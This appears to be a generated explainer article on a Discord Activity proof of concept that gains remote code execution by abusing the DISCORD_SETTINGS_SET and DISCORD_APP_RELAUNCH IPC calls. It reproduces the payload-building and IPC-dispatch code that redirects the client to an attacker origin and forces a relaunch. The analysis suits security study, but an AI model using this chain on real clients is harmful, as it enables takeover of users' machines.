Discord IPC Calls for RCE: Technical Analysis of the bikini/exploitarium Exploit
The bikini/exploitarium proof-of-concept achieves remote code execution by invoking DISCORD_SETTINGS_SET and DISCORD_APP_RELAUNCH IPC calls through Discord's Activity interface to reconfigure client settings and force a renderer restart that executes attacker-controlled native code.
The Discord IPC calls for RCE documented in the bikini/exploitarium repository demonstrate how malicious Activities weaponize Discord's internal Inter-Process Communication bridge. This proof-of-concept manipulates the client's native IPC interface to modify runtime configuration values and trigger unauthorized process relaunches, ultimately achieving arbitrary code execution.
Core Discord IPC Calls for RCE
The exploit chain relies on two specific IPC calls that manipulate the Discord client's internal state. These low-level channels are typically used for legitimate client management but are repurposed here to establish remote control.
DISCORD_SETTINGS_SET
The DISCORD_SETTINGS_SET IPC call writes arbitrary configuration values directly into the Discord client's persistent state. According to the source code in discord-activity-stock-client-rce-poc/server.js, the exploit uses this call to overwrite critical routing values:
WEBAPP_ENDPOINT: Redirects the client's base URL to an attacker-controlled originWEBAPP_PATH: Specifies the path component (set to/native-proof) that serves the final payload
DISCORD_APP_RELAUNCH
The DISCORD_APP_RELAUNCH IPC call forces the Discord client to terminate and restart its main renderer process. This cross-process transition executes the attacker-injected configuration in a fresh context, bypassing security boundaries that might exist in the current process. When invoked with empty arguments, it triggers an immediate restart without user confirmation.
Payload Construction in server.js
In discord-activity-stock-client-rce-poc/server.js (lines 212-219), the stage-2 payload constructs the IPC sequence using the sequenceSetters array. This data structure defines the ordered invocation of Discord IPC calls for RCE and serializes them into URL parameters:
const sequenceSetters = [
{ channel: "DISCORD_SETTINGS_SET", args: ["WEBAPP_ENDPOINT", collectorOrigin] },
{ channel: "DISCORD_SETTINGS_SET", args: ["WEBAPP_PATH", "/native-proof"] },
{ channel: "DISCORD_APP_RELAUNCH", args: [] }
]
.flatMap((invocation, i) => [
`params.set("ipc_seq${i}_channel", ${JSON.stringify(invocation.channel)});`,
...invocation.args.map((v, j) =>
`params.set("ipc_seq${i}_arg${j}", ${JSON.stringify(v)});`)
])
.join("\n ");
This generator creates URL parameters such as ipc_seq0_channel=DISCORD_SETTINGS_SET and ipc_seq2_channel=DISCORD_APP_RELAUNCH, which the client-side script parses to reconstruct the invocation list.
Client-Side IPC Dispatch in exploit.html
The client-side implementation in discord-activity-stock-client-rce-poc/exploit.html (lines 880-894) retrieves these parameters and dispatches them through the DiscordNative bridge. The dispatcher supports both asynchronous send and synchronous invoke methods:
const profileName = params.get("ipc_profile") || "electron37_6";
const methodName = params.get("ipc_method") || "send";
for (let i = 0; ; ++i) {
const chan = params.get(`ipc_seq${i}_channel`);
if (!chan) break;
const args = [];
for (let j = 0; ; ++j) {
const key = `ipc_seq${i}_arg${j}`;
if (!params.has(key)) break;
args.push(params.get(key));
}
if (methodName === "send") {
DiscordNative.ipc.send(chan, ...args);
} else {
DiscordNative.ipc.invoke(chan, ...args);
}
}
The code iterates through the sequence until no ipc_seq${i}_channel parameter exists, executing each Discord IPC call for RCE in order.
Exploit Execution Flow
The complete RCE chain proceeds through three coordinated stages that leverage the Activity's privileged execution context:
-
Stage 1 delivers a minimal "popup-patch" payload that establishes the execution environment within the Activity iframe context.
-
Stage 2 triggers the server to generate HTML containing the IPC sequence parameters. The client loads this HTML and executes the embedded JavaScript, which:
- Sets
WEBAPP_ENDPOINTto the attacker's collector origin - Sets
WEBAPP_PATHto/native-proof - Invokes
DISCORD_APP_RELAUNCHto force a renderer restart
- Sets
-
Stage 3 occurs when the relaunched process loads the
/native-proofendpoint with the attacker-controlled configuration. This page executes native code—such as spawningcalc.exeviaCreateProcessW—in the fresh renderer context, completing the RCE demonstration.
Summary
- Two critical IPC calls enable the exploit:
DISCORD_SETTINGS_SETfor configuration manipulation andDISCORD_APP_RELAUNCHfor forced process restart. - Payload construction occurs in
server.jslines 212-219, encoding IPC invocations as URL parameters using thesequenceSettersarray structure. - Client-side dispatch executes in
exploit.htmllines 880-894 through theDiscordNative.ipcbridge usingsendorinvokemethods. - The exploit achieves remote code execution by forcing the Discord client to restart with attacker-controlled endpoint configurations, bypassing sandbox restrictions in the new process context.
Frequently Asked Questions
What Discord IPC calls are used for RCE in this exploit?
The exploit utilizes DISCORD_SETTINGS_SET to modify internal client settings including WEBAPP_ENDPOINT and WEBAPP_PATH, followed by DISCORD_APP_RELAUNCH to force a renderer restart. According to the bikini/exploitarium source code, these calls are sequenced to redirect the client to attacker-controlled infrastructure before triggering code execution in the fresh process context.
How does the exploit chain deliver these IPC calls to the Discord client?
The server embeds IPC instructions as URL parameters (such as ipc_seq0_channel and ipc_seq0_arg0) within the Activity's HTML payload. The client-side JavaScript in exploit.html parses these parameters dynamically and dispatches them through DiscordNative.ipc.send() or DiscordNative.ipc.invoke() methods, executing each call in the sequence defined by the attacker.
Which source files contain the RCE implementation?
The primary implementation resides in discord-activity-stock-client-rce-poc/server.js for payload generation and discord-activity-stock-client-rce-poc/exploit.html for client-side IPC dispatch. The accompanying README.md provides architectural documentation explaining the exploit flow and the specific behavior of each IPC call.
Why is the renderer restart necessary for achieving RCE?
The DISCORD_APP_RELAUNCH call forces the Discord client to instantiate a new renderer process that loads the attacker-controlled WEBAPP_ENDPOINT and WEBAPP_PATH values set by the previous DISCORD_SETTINGS_SET calls. This fresh process executes the malicious native code with the modified configuration, completing the chain by running commands such as calc.exe via CreateProcessW in the compromised context.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →